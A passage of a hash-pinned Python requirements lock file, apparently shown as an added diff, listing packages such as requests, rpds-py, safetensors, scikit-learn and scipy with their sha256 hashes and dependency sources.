--hash=sha256:56ad4d9f77df871a99e25c37091052a02528ec0eb059de928ee33956b854b45b \ + --hash=sha256:571fde9741eb0ccde23dd4e0c1d50fbae910e901fa7e629faf39b2dda740d220 \ + --hash=sha256:572fc57b0009c735ee56c175ea021b637a15551a312f56734277f923d6fd0f6c \ + --hash=sha256:59787bd5f8c70aa339084e961d2996b53fbdeab4d5393bba5c1fe1fc32e02bae \ + --hash=sha256:5a2721c8720e2cb3c209925dfb9200199b4b07361c9e01d321719404b21458b3 \ + --hash=sha256:5cc26a66e212fa5d6c6170c3a40d99d888db3020c6fdab1523250d4341382e44 \ + --hash=sha256:5ebee1ee89c39c953baac6924fcde08c5bb427c4057510862f9d7c7bdb3d8665 \ + --hash=sha256:60be8693a1dadc210bbcbc0db3e26da5f7d01d1d5a3da594e99b4fa42df404f5 \ + --hash=sha256:618a0aed532be87294c4477b0481f3aa0f1520f4014a4374dd4cf789b4cd2c97 \ + --hash=sha256:61bb1bd45520aacd56dd80943bd34991fb5350afdd1f36f2282230fd5154a218 \ + --hash=sha256:6383cd2ed53a646c659ba1fe65727db76437fdaa069e697a0b44a51d5843d864 \ + --hash=sha256:64729333167c2dcaaa56a331d40ee097bd9c5617ffd51dabb09eaddafb1b532e \ + --hash=sha256:64b6ca7391a1395c2638dd5c7456d67bea44fc6c5e8e92c5dc8aa6a8f23292b4 \ + --hash=sha256:65dcd28d3eba2ab7c2fd906485cc301392b47cc2234790d27d4e4814e02cdfda \ + --hash=sha256:65fa6cb38ed5e9c3637e68e544f598b39c3b86b808ed0627a67b68320384b459 \ + --hash=sha256:66bd62c59a5427746e8c44becae1d9b99d22fb13f30f492083dfb9ad7c45cc18 \ + --hash=sha256:6e44c0e7c5664be20aee92085153150c0a7967310a73a43c0f832b7cd35d0dd3 \ + --hash=sha256:6f8c6e7a1cfa3dc9d0ee2de0e65e834537fa29992cc3976ffec914afc35c5dd5 \ + --hash=sha256:7322ec6cc9fba9d49ab888bb82d67ac5625627aa168f0165139b17018df3fb8a \ + --hash=sha256:73b133a9e6fb512858e7f065e96f1180aa46646bc74a83aea62f1d314f3dd035 \ + --hash=sha256:73f272fba87b8ccfe70a137d02a54af386f6d27aa509fbffdd978f5947aae1aa \ + --hash=sha256:7e77b324909c1617cbb4c668677e2c6ae13f44d7c1de0d4f15f2e3c10f3315b5 \ + --hash=sha256:80115dd39481fd3a4b4080220799dbcacb921a844de4b827264ececacbe17c78 \ + --hash=sha256:87ccab0db8d5f4fbb0272642113c1adb2ffc698c16d3a0944580222331fa7a20 \ + --hash=sha256:89dfee3319f5ae3f75ebd5c2445a809bb320252ba5529ffdafea4ef25d79cf1a \ + --hash=sha256:8ac59a0900474a52b7c04af8196affc22bd9842acb0950df12f7b813e983609a \ + --hash=sha256:8cae6fd77a5b72dae505084b1a2ee0360139faf72fedbab667cd7cc65aae7a6a \ + --hash=sha256:8d3469c91dd92ee41b7c95280edbd975ef1ba9195086686623a1c6e8935ce965 \ + --hash=sha256:90c633e7e8d6bf4e992b8b36ce69e018f834b641dd6de8cea6d78c06ffa119c5 \ + --hash=sha256:93db40c8de0815baab96a06e08a984bac71f989d13bab789e382158c5d426797 \ + --hash=sha256:9724e6cb5e478cd7d8cabf027826178739cb18cf0e117d0e32814d479fa02276 \ + --hash=sha256:98c6ac18480fcdb33f35439183f1d2e79760ab41930309c6d951cb1f8e46694c \ + --hash=sha256:9a15e785f244f3e07847b984ce8773fc3da10a9f3c131cc49a4c5b4d672b4547 \ + --hash=sha256:9b60d7814174f059e5de4ab98271cc5ba9259cfea55273a81544dceea32dc8d9 \ + --hash=sha256:9be2a6647740dd3cca6acb24e87f03d7632cd280dbce9bbe40c26353a215a45d \ + --hash=sha256:9c7472192ebfad53a6be7c4a8bfb2d64b81c0e93a1fc8c57e1dd0b638297b5d1 \ + --hash=sha256:9dce8ec9695f531a1b8a6f314fd4b393adcccf2ea861db480cdf97a301d01a68 \ + --hash=sha256:9e50d748a32da622f256e8d505867f5d3c43a837c6a9f0efb149655fadd1042a \ + --hash=sha256:a81758ed242b861b72e778ba34d41366441a2e10b16b472784c88da2dea7e2dd \ + --hash=sha256:ac777001cdfc28b72477d93c8564bb7583081ea8fb45cdca3d568e0a4f87183c \ + --hash=sha256:b2b506b1788df5fecd270a10d5e70a95fe77b87ea2b370a318043f6f5f817ee6 \ + --hash=sha256:b2ea4a3e8357be8849e833beeae757ac3c7a6b3fc055c03c808a53c91ad30d82 \ + --hash=sha256:bf1516fe58fc104f39b2d1dbe2d5e27d0cd45c4be2e42ba6ee0cc763701ec3c7 \ + --hash=sha256:c0d702548d89d572b2929879bc883bb7a4c4709efafe4512cadee56c55c9bd15 \ + --hash=sha256:c10b82c2634df08dfb13b1f04e38fe310d086ee092f4f69c0c8da234251e556e \ + --hash=sha256:c42572142ed0b9d5d261ba727157c426510da78e20828b66bbb855098b8a4e38 \ + --hash=sha256:c4585c3e64b4f9e583b4d2683f18f5d5d872b3d71dcf24594b74ecc23602fa96 \ + --hash=sha256:c639ea314df70a7b2811e8020448c75af8c9445f5a60f8a4ced81c306a9380c2 \ + --hash=sha256:c670fe7be5b6020b76bc6e8d2196074657e1327595bca93a389e1a76ab130ad8 \ + --hash=sha256:cc1b2440423a851fad781309dd87843868f4f66a6bcd1ddb9225cf4ec2c84732 \ + --hash=sha256:cd3584591ea4429026cdb931b054342c2bcf189b44ff367f8d5c15bc092a2966 \ + --hash=sha256:d15df07081d91b76ff20d43f94592ee110330152d617b730fdbe5ef9fb680053 \ + --hash=sha256:d19662dbedbe783d323196312d38f5ba53cf56296378252171985da6899887d3 \ + --hash=sha256:d24ecb4f5e009ea0bd275ee37ad9953b32005e2e5e60f8bbae16da0dbbf0d3a0 \ + --hash=sha256:d446c6ac40bb6e05025ccee55b84d80fe9bf8e93010ffc4bb9484f13d498835f \ + --hash=sha256:d51ffd3427640fa2da6ade574ceba932f210ad095f65fcc450a2b0a0d454868e \ + --hash=sha256:d6ce43a0269d68cee79a7d1ade7def53c20f8f2a047b92d7b5d5bcc73ae88327 \ + --hash=sha256:d721e53758b2cca74990185eb0671dd466d7a388a1a45d0c6f4c13cef41a68ac \ + --hash=sha256:d7da47a0f248977f08e2cb659ff3c17ddc13a4d39b3a7baa0a81bf5b415430f6 \ + --hash=sha256:db47b561c9afd884baa1f96f797c9ca369872c4b65912bc691cfa99e68340af2 \ + --hash=sha256:dbe6493fbd27321b1d1f2dd4f5c7e5bd4d8b1d7cab7f32fd67db3d0b2ed8248a \ + --hash=sha256:dbece16025afda5e3031af0c4059207e61dcf73ef13af844964f57f387d1c435 \ + --hash=sha256:ddd67571c10869f65a5d7dde536d1e066e306cc90de57d7de4d5f34802428bb5 \ + --hash=sha256:de9208bb427130c82a5dbfd104f92c8876fc9559278c880b3002755bbbe9c83d \ + --hash=sha256:e30d40268a28d54ce0437031750497004c22602b8e3ab891f759b795a003b312 \ + --hash=sha256:e8b0abe7d870f53ca5143895fef7d1041a0c831a140d3dc2c760dd7ba25d4a8b \ + --hash=sha256:f035d9dc1d25eff9d361456572231c7d27b5ccd473ca7dc0adfce732bd006d40 \ + --hash=sha256:f04b9f56b0e0614c0126be12c2c2d9f8850c1e57af302bd0a63bed379d4af974 \ + --hash=sha256:f0fa4fa9c3632d708742baf2282f2055c11d888a790362670a403cbf48a2c404 \ + --hash=sha256:f2e7f8e2ab6c2922be02c7ec45185aa5bd771e2e57b95455ee343a44d8130dff \ + --hash=sha256:f8f6fa298bb4f7f58a33334406218ba74716e68feddf5e4e54cd5d8082705abf \ + --hash=sha256:fbf300e2070bb35038660b3be1be4b91b0024edb41517e6996320b49b92b4175 \ + --hash=sha256:fce7760bf283405b2c7999cab3da4e72f7deca6396013115e3f7a955db9760da \ + --hash=sha256:fcee38cd8e5089d6d4f048ba1233b3ad76e5954f545382180889112ff5cb712d \ + --hash=sha256:fe31f28c94402043161876a258a9c6f757cb485905c7614ce8d6cd40e6b7bdc1 \ + --hash=sha256:ffd8893ccc1c2fce6e0d6ca402d716fe1b29db70c7132609a05955e31b2aa8f2 + # via + # tiktoken + # transformers +requests==2.34.2 \ + --hash=sha256:2a0d60c172f83ac6ab31e4554906c0f3b3588d37b5cb939b1c061f4907e278e0 \ + --hash=sha256:f288924cae4e29463698d6d60bc6a4da69c89185ad1e0bcc4104f584e960b9ed + # via + # semantica (pyproject.toml) + # azure-core + # d3blocks + # datazets + # docling-slim + # fastembed + # google-api-core + # google-auth + # google-cloud-storage + # google-genai + # instructor + # jupyterlab-server + # pooch + # pymilvus + # rapidocr + # spacy + # tiktoken +rfc3339-validator==0.1.4 \ + --hash=sha256:138a2abdf93304ad60530167e51d2dfb9549521a836871b88d7f4695d0022f6b \ + --hash=sha256:24f6ec1eda14ef823da9e36ec7113124b39c04d50a4d3d3a3c2859577e7791fa + # via + # jsonschema + # jupyter-events +rfc3986-validator==0.1.1 \ + --hash=sha256:2f235c432ef459970b4306369336b9d5dbdda31b510ca1e327636e01f528bfa9 \ + --hash=sha256:3d44bde7921b3b9ec3ae4e3adca370438eccebc676456449b145d533b240d055 + # via + # jsonschema + # jupyter-events +rfc3987-syntax==1.1.0 \ + --hash=sha256:6c3d97604e4c5ce9f714898e05401a0445a641cfa276432b0a648c80856f6a3f \ + --hash=sha256:717a62cbf33cffdd16dfa3a497d81ce48a660ea691b1ddd7be710c22f00b4a0d + # via jsonschema +rich==14.3.4 \ + --hash=sha256:07e7adb4690f68864777b1450859253bed81a99a31ac321ac1817b2313558952 \ + --hash=sha256:817e02727f2b25b40ef56f5aa2217f400c8489f79ca8f46ea2b70dd5e14558a9 + # via + # semantica (pyproject.toml) + # agno + # agnoctl + # docling-slim + # instructor + # typer +rpds-py==2026.6.3 \ + --hash=sha256:0be972be84cfcaf46c8c6edf690ca0f154ac17babf1f6a955a51579b34ad2dc5 \ + --hash=sha256:127565fead0a10943b282957bd5447804ff3160ad79f2ad2635e6d249e380680 \ + --hash=sha256:127e08c0642d880cf32ca47ec2a4a77b901f7e2dd1ad9762adb13955d72ffcc9 \ + --hash=sha256:166cf54d9f44fc6ceb53c7860258dde44a81406646de79f8ed3234fca3b6e538 \ + --hash=sha256:168c733a7112e071bb7a66460e667edfcff06c017a3c523f7a8a8e08d0140804 \ + --hash=sha256:1967debc37f64f2c4dc90a7f563aec558b471966e12adcac4e1c4240496b6ebf \ + --hash=sha256:1cebd1337c242e4ec2293e541f712b2da849b29f48f0c293684b71c0632625d4 \ + --hash=sha256:1cf01971c4f2c5553b772a542e4aaf191789cd331bc2cd4ff0e6e65ba49e1e97 \ + --hash=sha256:1e5822dfc2f0d4ab7e745eaa6d85945069329beeccef965af3f3bb26058fcab6 \ + --hash=sha256:22bffe6042b9bcb0822bcd1955ec00e245daf17b4344e4ed8e9551b976b63e96 \ + --hash=sha256:23a439f31ccbeff1574e24889128821d1f7917470e830cf6544dced1c662262a \ + --hash=sha256:24e9c5386e16669b674a69c156c8eeefcb578f3b3397b713b08e6d60f3c7b187 \ + --hash=sha256:270b293dae9058fc9fcedab50f13cebf46fb8ed1d1d54e0521a9da5d6b211975 \ + --hash=sha256:29dfa0533a5d4c94d4dfa1b694fcb56c9c63aad8330ffdd816fd225d0a7a162f \ + --hash=sha256:2a9c6f195058cb45335e8cc3802745c603d716eb96bc9625950c1aac71c0c703 \ + --hash=sha256:2bfd04c19ddbd6640de0b51894d764bd2758854d5b75bd102d2ef10cb9c293a9 \ + --hash=sha256:2c54a076ca4d370980ab57bc0e31df57bbe8d41340436a90ef8b1219a3cbb127 \ + --hash=sha256:2c958bf94822e9290a40aaf2a822d4bc5c88099093e3948ad6c571eca9272e5f \ + --hash=sha256:2c99f7e8ccb3dd6e3e4bfeac657a7b208c9bac8075f4b078c02d7404c34107fa \ + --hash=sha256:2f7c26fbc5acd2522b95d4177fe4710ffd8e9b20529e703ffbf8db4d93903f05 \ + --hash=sha256:30c6dc199b24a5e3e81d50da0f00858c5bbdb2617a750395687f4339c5818171 \ + --hash=sha256:38a2fea2787428f811719ceb9114cb78964a3138838320c29ac39526c79c16ba \ + --hash=sha256:3a83ae6c67b7676b9878378547ca8e93ed77a580037bcbcd1d32f739e1e6089c \ + --hash=sha256:3cfe765c1da0072636ca06628261e0ea05688e160d5c8a03e0217c3854037223 \ + --hash=sha256:421aba32367055614287a4292b6a17f1939c9452299f7a0209c117e990b646d4 \ + --hash=sha256:425560c6fa0415f27261727bb20bd097568485e5eb0c121f1949417d1c516885 \ + --hash=sha256:4470ce197d4090875cf6affbf1f853338387428df97c4fb7b7106317b8214698 \ + --hash=sha256:4cf2d36a2357e4d07bb5a4f98801265327b48256867816cfd2ceb001e9754a8f \ + --hash=sha256:4f4bca01b63096f606e095734dd56e74e175f94cfbf24ff3d63281cec61f7bb7 \ + --hash=sha256:501f9f04a588d6a09179368c57071301445191767c64e4b52a6aa9871f1ef5ed \ + --hash=sha256:536bceea4fa4acf7e1c61da2b5786304367c816c8895be71b8f537c480b0ea1f \ + --hash=sha256:538949e262e46caa31ac01bdb3c1e8f642622922cacbabbae6a8445d9dc33eaf \ + --hash=sha256:539d75de9e0d536c84ff18dfeb805398e58227001ce09231a26a08b9aed1ee0e \ + --hash=sha256:54f45a148e28767bf343d33a684693c70e451c6f4c0e9904709a723fafbdfc1f \ + --hash=sha256:55927d532399c2c646100ff7feb48eaa940ad70f42cd68e1328f3ded9f81ca24 \ + --hash=sha256:58eadac9cd119677b60e1cf8ac4052f35949d71b8a9e5556efccbe82533cf22a \ + --hash=sha256:5e8d07bddee435a2ff6f1920e18feff28d0bc4533e42f4bf6927fbd073312c41 \ + --hash=sha256:62698275682bf121181861295c9181e789030a2d516071f5b8f3c23c170cd0fc \ + --hash=sha256:639c8929aa0afe81be836b04de888460d6bed38b9c54cfc18da8f6bfabf5af5d \ + --hash=sha256:67e3a721ffc5d8d2210d3671872298c4a84e4b8035cfe42ffd7cde35d772b146 \ + --hash=sha256:6de4744d05bd1aa1be4ed7ea1189e3979196808008113bbbf899a460966b925e \ + --hash=sha256:6e84adbcf4bf841aed8116a8264b9f50b4cb3e7bd89b516122e616ac56ca269e \ + --hash=sha256:7491ee23305ac3eb59e492b6945881f5cd77a6f731061a3f25b77fd40f9e99a4 \ + --hash=sha256:79486287de1730dbaff3dbd124d0ca4d2ef7f9d29bf2544f1f93c09b5bcbbd12 \ + --hash=sha256:7b689145a1485c335569bd056464f3243a29af7ed3871c7be31ad624ba239bc7 \ + --hash=sha256:7f88d653e7b3b779d71ae7454e20dcc9b6bae903f33c269db9f2be41bda3f261 \ + --hash=sha256:8020133a74bd81b4572dd8e4be028a6b1ebcd70e6726edc3918008c08bee6ee6 \ + --hash=sha256:808345f53cb952433ca2816f1604ff3515608a81784954f38d4452acfe8e61d5 \ + --hash=sha256:83e35b57523816c8613fd0776b40cd8bb9f596b37ddd2692eb4a6bb5ab2f8c93 \ + --hash=sha256:842e7b070435622248c7a2c44ae53fa1440e073cc3023bc919fed570884097a7 \ + --hash=sha256:847927daf4cffbd4e90e42bc890069897101edd015f956cb8721b3473372edda \ + --hash=sha256:882076c00c0a608b131187055ddc5ae29f2e7eaf870d6168980420d58528a5c8 \ + --hash=sha256:8b95977e7211527ab0ba576e286d023389fbeeb32a6b7b771665d333c60e5342 \ + --hash=sha256:8bb68f03f395eb793220b45c097bd4d8c32944393da0fad8b999efac0868fc8c \ + --hash=sha256:8c2642a7603ec0b16ed77da4555db3b4b472341904873788327c0b0d7b95f1bb \ + --hash=sha256:8c3d1e9c15b9d51ca0391e13da1a25a0a4df3c58a37c9dc368e0736cf7f69df0 \ + --hash=sha256:8c6e5a2f750cc71c3e3b11d71661f21d6f9bc6cebc6564b1466417a1ec03ec77 \ + --hash=sha256:8d2294a31386bfa251d8c8a39472beee17db67d4f1a6eabea665d35c9a4461c3 \ + --hash=sha256:8e4320744c1ffdd95a603def63344bfab2d33edeab301c5007e7de9f9f5b3885 \ + --hash=sha256:8e65860d238379ed982fd9ba690579b5e95af2f4840f99c772816dbe573cb826 \ + --hash=sha256:8f2e5c5ee828d42cb11760761c0af6507927bec42d0ad5458f97c9203b054617 \ + --hash=sha256:900a67df3fd1660b035a4761c4ce73c382ea6b35f90f9863c36c6fd8bf8b09bb \ + --hash=sha256:913ca42ccad3f8cc6e292b587ae8ae49c8c823e5dce51a736252fc7c7cdfa577 \ + --hash=sha256:9250a9a0a6fd4648b3f868da8d91a4c52b5811a62df58e753d50ae4454a36f80 \ + --hash=sha256:931908d9fc855d8f74783377822be318edb6dcb19e47169dc038f9a1bf60b06e \ + --hash=sha256:9826217f048f620d9a712672818bf231442c1b35d96b227a07eabd11b4bb6945 \ + --hash=sha256:9891e594296ab9dada6551c8e7b387b2721f27a67eecd528412e8906247a7b90 \ + --hash=sha256:9c1255b302953c86a486b81d330d5ee1d5bd937691ce271b6be0ef0e299eaab7 \ + --hash=sha256:a0811d33247c3d6128a3001d763f2aa056bb3425204335400ac54f89eec3a0d0 \ + --hash=sha256:a136d453475ac0fcbda502ef1e6504bd28d6d904700915d278deeab0d00fe140 \ + --hash=sha256:a214c993455f99a89aaeadc9b21241900037adc9d97203e374d75513c5911822 \ + --hash=sha256:a3086b538543802f84c843911242db20447de00d8752dd0efc936dbcf02218ba \ + --hash=sha256:a3450b693fde92133e9f51060568a4c31fcca76d5e53bbd611e689ca446517e9 \ + --hash=sha256:a550fb4950a06dde3beb4721f5ad4b25bf4513784665b0a8522c792e2bd822a4 \ + --hash=sha256:a9f4645593036b81bbdb36b9c8e0ea0d1c3fee968c4d59db0344c14087ef143a \ + --hash=sha256:aca6c1ef08a82bfe327cc156da694660f599923e2e6665b6d81c9c2d0ac9ffc8 \ + --hash=sha256:acac386b453c2516111b50985d60ce46e7fadb5ea71ae7b25f4c946935bf27cf \ + --hash=sha256:acc992ab27b15f852c76755eb2ab7dce86585ddadba6fa5946e58556088845b4 \ + --hash=sha256:ae3d4fe8c0b9213624fdce7279d70e3b148b682ca20719ebd193a23ebfa47324 \ + --hash=sha256:ae50181a047c871561212bb97f7932a2d45fb53e947bd9b57ebad85b529cbc53 \ + --hash=sha256:ae6dd8f10bd17aad820876d24caec9efdafd80a318d16c0a48edb5e136902c6b \ + --hash=sha256:af05d726809bff6b141be124d4c7ce998f9c9c7f30edb1f46c07aa103d540b41 \ + --hash=sha256:afd70d95892096cdb26f15a00c45907b17817577aa8d1c76b2dcc2788391f9e9 \ + --hash=sha256:b5c2dc92304aa48a4a60443b548bb12f12e119d4b72f314015e67b9e1be97fca \ + --hash=sha256:bc0011654b91cc4fb2ae701bec0a0ba1e552c0714247fa7af6c59e0ccfa3a4e1 \ + --hash=sha256:bcfbcf66006befb9fd2aeaa9e01feaf881b4dc330a02ba07d2322b1c11be7b5d \ + --hash=sha256:bdbd97738551fca3917c1bd7188bec1920bb520104f28e7e1007f9ceb17b7690 \ + --hash=sha256:c60924535c75f1566b6eb75b5c31a48a43fef04fa2d0d201acbad8a9969c6107 \ + --hash=sha256:c7b9a2f8f4d8e90af72571d3d495deebdd7e3c75451f5b41719aee166e940fc2 \ + --hash=sha256:ca6546b66be9dc4738b1b043d5ebd5488c66c578c5ff0fd0e8065313fe3afb76 \ + --hash=sha256:ccffae9a092a00deb7efd545fe5e2c33c33b88e7c054337e9a74c179347d0b7d \ + --hash=sha256:cdc7e35386f3847df728fbcb5e887e2d79c19e2fa1eba9e51b6621d23e3243af \ + --hash=sha256:d15fde0e6fb0d88a60d221204873743e5d9f0b7d29165e62cd86d0413ad74ba6 \ + --hash=sha256:d34c20167764fbcf927194d532dd7e0c56772f0a5f943fa5ef9e9afbba8fb9db \ + --hash=sha256:d483fe17f01ad64b7bf7cc38fcefff1ca9fb83f8c2b2542b68f97ffe0611b369 \ + --hash=sha256:d7469697dce35be237db177d42e2a2ee26e6dcc5fc052078a6fefabd288c6edd \ + --hash=sha256:db08f45aecde626498fb3df07bcf6d2ec040af42e859a4f5040d79c200342911 \ + --hash=sha256:dc319e5a1de4b6913aac94bf6a2f9e847371e0a140a43dd4991db1a09bc2d504 \ + --hash=sha256:de3eceba0b683bcbb1ab93da016d0270df1f9ae7be716b40214c5dafac6ea45a \ + --hash=sha256:dfcc8b909769d19db55c7cc9541eb64b9b774b1057ffffb4f1048070475bb9f9 \ + --hash=sha256:e059c5dde6452b44424bd1834557556c226b57781dee1227af23518459722b13 \ + --hash=sha256:e4316bf32babbed84e691e352faf967ce2f0f024174a8643c37c94a1080374fc \ + --hash=sha256:e52655eaf81e32593abedaa4bfe33170c8cfedf3365ed9be6e11e07f148f0278 \ + --hash=sha256:e55d236be29255554da47abe5c577637db7c24a02b8b46f0ca9524c855801868 \ + --hash=sha256:ea7bb13b7c9a29791f87a0387ba7d3ad3a6d783d827e4d3f27b40a0ff44495e2 \ + --hash=sha256:ea964164cc9afa72d4d9b23cc28dafae93693c0a53e0b42acbff15b22c3f9ddd \ + --hash=sha256:ec829541c45bca16e61c7ae50c20501f213605beb75d1aba91a6ee37fbbb56a4 \ + --hash=sha256:ecabd69db66de867690f9797f2f8fa27ba501bbc24540cbdbdc649cd15888ba6 \ + --hash=sha256:ed0c1e5d10cdc7135537988c74a0188da68e2f3c30813ba3744ab1e42e0480f9 \ + --hash=sha256:f0840b5b17057f7fd918b76183a4b5a0635f43e14eb2ce60dce1d4ee4707ea00 \ + --hash=sha256:f4d78253f6996be4901669ad25319f842f740eccf4d58e3c7f3dd39e6dde1d8f \ + --hash=sha256:f56f1695bc5c0871cbc33dc0130fcf503aab0c57dcc5a6700a4f49eba4f2652e \ + --hash=sha256:f826877d462181e5eb1c26a0026b8d0cab05d99844ecb6d8bf3627a2ca0c0442 \ + --hash=sha256:f8f23ead891a3b762f35ab3b04623da7056545b48aa60d59957e6789914545da \ + --hash=sha256:f90938e92afda60266da758ee7d363447f7f0138c9559f9e1811629580582d90 \ + --hash=sha256:faa679d19a6696fd54259ad321251ad77a13e70e03dd834daa762a44fb6196ef + # via + # jsonschema + # referencing +rtree==1.4.1 \ + --hash=sha256:12de4578f1b3381a93a655846900be4e3d5f4cd5e306b8b00aa77c1121dc7e8c \ + --hash=sha256:3d46f55729b28138e897ffef32f7ce93ac335cb67f9120125ad3742a220800f0 \ + --hash=sha256:a7e48d805e12011c2cf739a29d6a60ae852fb1de9fc84220bbcef67e6e595d7d \ + --hash=sha256:b558edda52eca3e6d1ee629042192c65e6b7f2c150d6d6cd207ce82f85be3967 \ + --hash=sha256:c6b1b3550881e57ebe530cc6cffefc87cd9bf49c30b37b894065a9f810875e46 \ + --hash=sha256:d672184298527522d4914d8ae53bf76982b86ca420b0acde9298a7a87d81d4a4 \ + --hash=sha256:efa8c4496e31e9ad58ff6c7df89abceac7022d906cb64a3e18e4fceae6b77f65 \ + --hash=sha256:efe125f416fd27150197ab8521158662943a40f87acab8028a1aac4ad667a489 \ + --hash=sha256:f155bc8d6bac9dcd383481dee8c130947a4866db1d16cb6dff442329a038a0dc + # via + # docling-ibm-models + # docling-slim +s3transfer==0.19.2 \ + --hash=sha256:ba0309fd86be3c27dbf78cdd813c13c5e1df16e5874b99d2535ebbdfb9892993 \ + --hash=sha256:d8168eccca828cbb2cd573675333f3bddd254313a9c42494b84c76b539e8ba25 + # via boto3 +safetensors==0.8.0 \ + --hash=sha256:040070828e36dc8e122178bbbd5830ff9e97920affb84cbe0f46442497bed358 \ + --hash=sha256:096ec1a98435df7beb08853bb5aa9081a84f23d0adc67ed1a0a10550f608373f \ + --hash=sha256:2ddf52eac562eda224f99acfa7889d02968c1fd59a5b011ae7d8137c37e9c02d \ + --hash=sha256:3ae091f16662658bdc019a4ff6cb4c085bb7d725eb5978b183ffd265863b6d2d \ + --hash=sha256:4124502b78f03534117c848f87a39b8f31e577b15eff423bf8bfb95f2a8c30d0 \ + --hash=sha256:4a95ae2b05d7726d751da4ebf626a2ca782b706e101bd894c95bc2450b1cffcc \ + --hash=sha256:7a46e5ff292c356d6991e60942ba7f79817682d3a2cef0702136448cb9c4d235 \ + --hash=sha256:7bc0a787ba8a35be368ee3574edfa2b1ad389eebd0a72e482ae275490e3f6c98 \ + --hash=sha256:87eec7ffed2b809f05a398a8becb7d013f19f7837cd15d9748580d6cf30dbaf4 \ + --hash=sha256:8e080062fcde23be189565e1c3305d16751a218ecf9412c8601e64204eb6f846 \ + --hash=sha256:8e9f537aa183a38ace122d27303dcd986b26bd2a7591f9181d7f0c396f4677ca \ + --hash=sha256:c554f85858e05226d3c2828e32395e677434685d6d94594a41643361c5e837f0 \ + --hash=sha256:c80201d22cbf405b80647a60ada77bba06c8fba2da2743ba1e89cdcc39a81f25 \ + --hash=sha256:f7838e5135a406ad3e02efdcb8cf2e5397d368b0154537c4fec682dbc544d452 \ + --hash=sha256:fabaf3e0f18a6618d9b36560682562157f77c2b71fcffc7b432be2baed9d753d \ + --hash=sha256:fcdd41ec4628fee5799f807c73c353629130fbd942aa23d83c623dd6c9d52d78 \ + --hash=sha256:fd6f3f93c9a0a7cc2788ee63fb763353d4bd2e89b0751bc78fcf7dda00bea774 + # via + # accelerate + # docling-ibm-models + # transformers +scatterd==1.4.2 \ + --hash=sha256:30e2a5da8f99ef338f962041d98da9ab54ae784de14cab7eb3b12dc0465f128b \ + --hash=sha256:d168230f82f424434a1a343138dcb9479f2041732d48611c910e96a7a7d5705a + # via distfit +scikit-learn==1.9.0 \ + --hash=sha256:051075bda8b7aab87b1906ab3d4740a1e1224a19d7b3781a576736edc94e76aa \ + --hash=sha256:056c92bb67ad4c28463c2f2653d9701449201e7e7a9e94e321be0f71c4fef2b8 \ + --hash=sha256:147e9329ef0e39f75d4cffa02b2aa48d827832684926cd5210d9a2cb5c57246b \ + --hash=sha256:1b944b6db288f6b926e3650026ddafb988929de95d11fc2cc5fa117773c9ba42 \ + --hash=sha256:1fea2cc5677ab49d6f5bade978c866da44957b712d92e9635e8b4f723013c3cb \ + --hash=sha256:24360002ae845e7866522b0a5bbf690802e7bc388cac8663502e78aa98598aa2 \ + --hash=sha256:26e22435f63bcdcf396b574273f29f13dd531f5ea035801f5be10ba1540a4e60 \ + --hash=sha256:2bd41b0d201bc81575531b96b713d3eb5e5f50fb0b82101ff0f92294fdc236ac \ + --hash=sha256:366652351f092b219c248f1e72821e841960a63d8f358f1dcfd54dc1cbdbbc28 \ + --hash=sha256:38c3dcb9a1ffb85505ec53d54c7b4aea0cff70050425a7760c2af661ac85df05 \ + --hash=sha256:4306775fad04cc4b472a1b15af1ae9cede1540fbfcc17fbce3767cd8dc7ae283 \ + --hash=sha256:4ccacf04ca5f4b492158a5f28afe0ace43f81b2571e4b9a66d34848b46128949 \ + --hash=sha256:5162ad10a418c8a282dde04c9aa06965de3e9a65f33c1440c0ae69bb1a09d913 \ + --hash=sha256:5808d98f15c6bf6d9d96d2348c1997392a5888ce7097e664105f930c4bca1277 \ + --hash=sha256:5b934c45c252844a91d69fda3a34cff5e7307e1db10d77cb10a3980312c74713 \ + --hash=sha256:5bad8f8b9950321b54c965fdcbac6c6c55e79e16646b49977bcf3668d3870a1a \ + --hash=sha256:5be45aa4a42a68a533913a6ed736cf309de2226411c79ef8d609a5456f1939b1 \ + --hash=sha256:5dc1818c77575d149e25fce9ef82dd7b7263ae372f03494158668ad632a69759 \ + --hash=sha256:5e50ed4da51974e86e940690e9a3d82e729b62b5a49f7c9bac534d515d39d86f \ + --hash=sha256:64fa347efc1c839c487433e40c5144d38c336e8a2b59c81aa8660373945c2673 \ + --hash=sha256:78fc56eafd4edb9575d2d8950d1dd152061abb573341a1cb7e099fc40f6c6666 \ + --hash=sha256:80746d63bd4b6eaca54d36fe5feaf4d28bb38dc6f9470f81c7cad7c40155f119 \ + --hash=sha256:8833266989d3a5110178a9fae30783675460724d0e1efb13b14901d2c660c557 \ + --hash=sha256:9656acd4e93f74e0b66c8a36c88830a99252dfa900044d36bc2212ae89a47162 \ + --hash=sha256:9db6f4d34e68c8899e4cab27fdf8eafe6ed21f2ba52ceb25ea250cd237f8e47b \ + --hash=sha256:d77f54c017633791bc0225a43e2f8d03745fdcfe4880268fcc4df15f505dec2e \ + --hash=sha256:da76d09304a4706db7cc1e3ebaa3b6b98a67365cc11d2996c4f1e58ba47df714 \ + --hash=sha256:ee1a8db2c18c08e34c7412d4b10be1cac214cd4ea7dc9715a6a327eb49a37c96 \ + --hash=sha256:f401448645a3e7bc115aa3c094097865155b34bff1cba8101857d9104e99074c \ + --hash=sha256:f7e254636164090da847715a27f8e5478feb98c40a9e0ee90cbd277de9e5ceb8 \ + --hash=sha256:fd3a8ef0c758555a3b23c03adaa858af32f7736785ded50ad5991f59c4ed03fa + # via + # semantica (pyproject.toml) + # bertopic + # hdbscan + # librosa + # pynndescent + # sentence-transformers + # umap-learn +scipy==1.17.1 \ + --hash=sha256:010f4333c96c9bb1a4516269e33cb5917b08ef2166d5556ca2fd9f082a9e6ea0 \ + --hash=sha256:02ae3b274fde71c5e92ac4d54bc06c42d80e399fec704383dcd99b301df37458 \ + --hash=sha256:08b900519463543aa604a06bec02461558a6e1cef8fdbb8098f77a48a83c8118 \ + --hash=sha256:131f5aaea57602008f9822e2115029b55d4b5f7c070287699fe45c661d051e39 \ + --hash=sha256:158dd96d2207e21c966063e1635b1063cd7787b627b6f07305315dd73d9c679e \ + --hash=sha256:1cc682cea2ae55524432f3cdff9e9a3be743d52a7443d0cba9017c23c87ae2f6 \ + --hash=sha256:1f95b894f13729334fb990162e911c9e5dc1ab390c58aa6cbecb389c5b5e28ec \ + --hash=sha256:200e1050faffacc162be6a486a984a0497866ec54149a01270adc8a59b7c7d21 \ + --hash=sha256:2040ad4d1795a0ae89bfc7e8429677f365d45aa9fd5e4587cf1ea737f927b4a1 \ + 